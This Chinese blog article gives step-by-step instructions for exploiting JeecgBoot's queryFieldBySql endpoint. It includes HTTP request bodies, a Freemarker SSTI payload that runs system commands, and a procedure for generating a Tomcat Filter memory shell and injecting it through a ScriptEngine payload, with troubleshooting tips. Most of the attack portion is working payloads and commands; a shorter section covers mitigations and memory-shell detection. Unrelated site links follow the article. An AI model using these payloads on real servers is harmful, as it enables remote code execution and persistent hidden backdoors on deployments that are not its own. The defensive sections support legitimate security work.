当前位置: 首页 > news >正文

手把手复现JeecgBoot SQL注入漏洞:从queryFieldBySql到内存马植入(附工具与避坑点)

实战复现JeecgBoot漏洞链:从SQL注入到内存马植入的技术拆解

在企业级Java开发框架JeecgBoot的安全研究中,一条完整的漏洞利用链往往涉及多个技术环节的衔接。本文将深入剖析如何从SQL注入漏洞入手,逐步实现内存马植入的全过程,重点解决实际复现中的环境适配与工具应用问题。

1. 漏洞链的技术背景与前置准备

JeecgBoot作为基于SpringBoot的低代码平台,其报表模块的queryFieldBySql接口因未对用户输入做充分过滤,导致SQL注入漏洞。更严重的是,该漏洞可进一步结合Freemarker模板引擎的SSTI(服务器端模板注入)特性,实现RCE(远程代码执行)。而内存马技术则允许攻击者在目标服务器的JVM内存中植入持久化后门,绕过常规文件检测。

复现环境基础要求

  • JeecgBoot 2.4.5版本(漏洞验证版本)
  • JDK 1.8(推荐OpenJDK 8u312)
  • Maven 3.6+(用于依赖管理)
  • Burp Suite Community/Professional(流量拦截与修改)

注意:不同版本的JeecgBoot可能存在依赖库差异,建议使用Docker构建隔离测试环境以避免污染本地系统。

2. SQL注入漏洞的触发与利用

漏洞核心触发点在/jeecg-boot/jmreport/queryFieldBySql接口,其SQL语句拼接方式存在缺陷。以下是关键攻击步骤:

  1. 基础注入验证
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1 Content-Type: application/json { "sql": "select '漏洞验证' as test", "dbSource": "", "type": "0" }

当返回结果包含"漏洞验证"字段时,证明接口可被操控。

  1. Freemarker SSTI利用
{ "sql": "select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"whoami\") }' as output" }

此Payload通过Freemarker的Execute类执行系统命令,返回当前用户权限。

常见问题排查

  • 若命令执行失败,检查JDK版本是否限制freemarker.template.utility.Execute
  • 特殊字符需URL编码,如<需转换为%3C
  • Windows系统需将命令改为cmd /c whoami

3. 内存马生成与植入技术

使用开源工具java-memshell-generator生成定制化内存马是当前主流方案。具体操作流程:

  1. 生成阶段
git clone https://github.com/pen4uin/java-memshell-generator cd java-memshell-generator mvn clean package java -jar target/java-memshell-generator-1.0-SNAPSHOT.jar

工具交互界面中选择:

  • 内存马类型:Tomcat Filter型
  • 访问路径:/bypass
  • 密码认证:禁用
  1. Payload转换: 将生成的Base64编码内存马填入以下模板:
{ "sql": "call${\"freemarker.template.utility.ObjectConstructor\"?new()(\"javax.script.ScriptEngineManager\").getEngineByName(\"js\").eval(\"classLoader=java.lang.Thread.currentThread().getContextClassLoader();...bytecodeBase64='REPLACE_HERE'...\")}", "dbSource": "", "type": "0" }

关键参数对比

参数项示例值注意事项
bytecodeBase64AaBbCc123...需完整包含生成的全部Base64码
js引擎nashornJDK15+需改用graal.js
内存马类型Filter/Servlet/Listener根据中间件类型选择

4. 漏洞链的防御与检测方案

针对该漏洞链,企业可实施多层次防护:

  1. 临时缓解措施

    • 禁用jmreport模块的公开访问
    • 升级Freemarker至2.3.31以上版本
    • 添加SQL参数化查询过滤器
  2. 内存马检测技术

// 示例:检测异常Filter的JSP脚本 <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <% Field filterConfigs = ApplicationFilterConfig.class.getDeclaredField("filterConfigs"); filterConfigs.setAccessible(true); Map<String,?> configs = (Map<String,?>) filterConfigs.get(null); out.println("当前注册Filters: " + configs.keySet()); %>
  1. 长期加固建议
    • 实施RASP运行时保护
    • 建立Java应用基线监控
    • 定期进行内存马专项扫描

5. 复现过程中的典型问题解决

实际测试中常遇到以下技术难点:

案例1:JDK版本兼容性问题

  • 现象:Nashorn引擎报错ReferenceError: "Java" is not defined
  • 解决方案:
    # 修改JVM启动参数 export JAVA_OPTS="-Dnashorn.args=--no-deprecation-warning"

案例2:内存马无法持久化

  • 排查步骤:
    1. 确认中间件类型(Tomcat/Jetty/Undertow)
    2. 检查类加载器层次结构
    3. 验证内存马字节码完整性

案例3:H2数据库RCE防护

  • 加固配置:
    # 在application.yml中添加 spring: h2: console: enabled: false settings: web-allow-others: false

在完成全部复现流程后,建议立即重启服务清除内存马残留。对于生产环境,应考虑部署专业的WAF解决方案拦截异常流量模式。

http://www.jsqmd.com/news/549789/

相关文章:

  • Rocky Linux 9最小化安装后,我第一时间会做的10个安全加固设置(新手必看)
  • 零基础入门学用物联网(ESP8266) 第二部分 MQTT基础篇(二)
  • 相同虚拟环境训练模型突然报错
  • STM32 BootLoader避坑指南:AB分区、SP/PC跳转与EEPROM标志位实战解析
  • 手把手教你用STM32驱动ADS1292R心电模块(附完整代码与SPI避坑指南)
  • 闲置支付宝立减金如何回收?全方位解析使用范围与技巧 - 团团收购物卡回收
  • 2026年煤矿用侧卸装岩机厂家推荐:山东科创装备制造有限公司,zcy60r/zcy45r全系供应 - 品牌推荐官
  • 总结诚信的边皮机,福建推荐哪家比较好 - 工业品网
  • 旧设备如何重获新生?开源工具让你的Mac再战三年
  • 文脉定序应用场景:企业知识库‘搜得到更排得准’的语义校准落地方案
  • DAY 5
  • 老旧Mac设备系统升级:评估-优化-焕新的3个维度全解析
  • Navicat连接MySQL卡顿?30秒设置解决‘Lost connection‘问题(附详细截图)
  • 2026年昆明青少年军事化机构推荐:昆明市西山起点养成教育培训学校,专注叛逆孩子行为矫正 - 品牌推荐官
  • 2026工业耐腐蚀螺杆泵评测深度解析:排涝机器人/提升泵/气动隔膜泵/水带收卷机/永磁水泵/永磁电泵/污水泵/泥浆泵/选择指南 - 优质品牌商家
  • 跨品牌路由器桥接实战:TP-LINK(AC1200)与FAST(FWR303)混合组网方案
  • 深入理解Transformer:通过SmallThinker-3B-Preview剖析模型内部注意力机制
  • HDI板激光盲孔 vs 机械盲孔:选型指南与成本对比(附厂内实测数据)
  • MCU开发必备:时间片轮询任务调度实战指南(附STM32代码)
  • 手把手教你用SC7U22TH六轴陀螺仪实现智能手环计步功能(附完整代码)
  • 手把手教你配置ArduSub故障保护:漏水、断联、撞机全防范(基于4.1.2固件)
  • 2026第三方检测冷冻管推荐指南规格多样适配全:fob采便管、仿nalgene试剂瓶、冻存管、塑料滴管、塑料试剂瓶选择指南 - 优质品牌商家
  • 3步掌握Applite:macOS应用管理的革命性图形界面解决方案
  • Linux 端口映射管理脚本
  • 别再死记公式了!用‘蚂蚁找食’的思维,5分钟理解蚁群算法核心
  • uniapp跨平台开发实战:如何用Hbuilder X快速搞定安卓和iOS真机调试?
  • HunyuanVideo-Foley实战落地:媒体机构AI音效资产库自动化构建方案
  • 2026年防爆空调厂家实力推荐:浙江沪丞智能科技,防爆精密空调/防爆空调机全系供应 - 品牌推荐官
  • LVGL花屏问题排查与优化:从心跳tick到屏幕刷新函数的实战解析
  • 2026年吸污车厂家实力推荐:山东东环汽车科技12方/高压/东风天锦/国六吸污车全系供应 - 品牌推荐官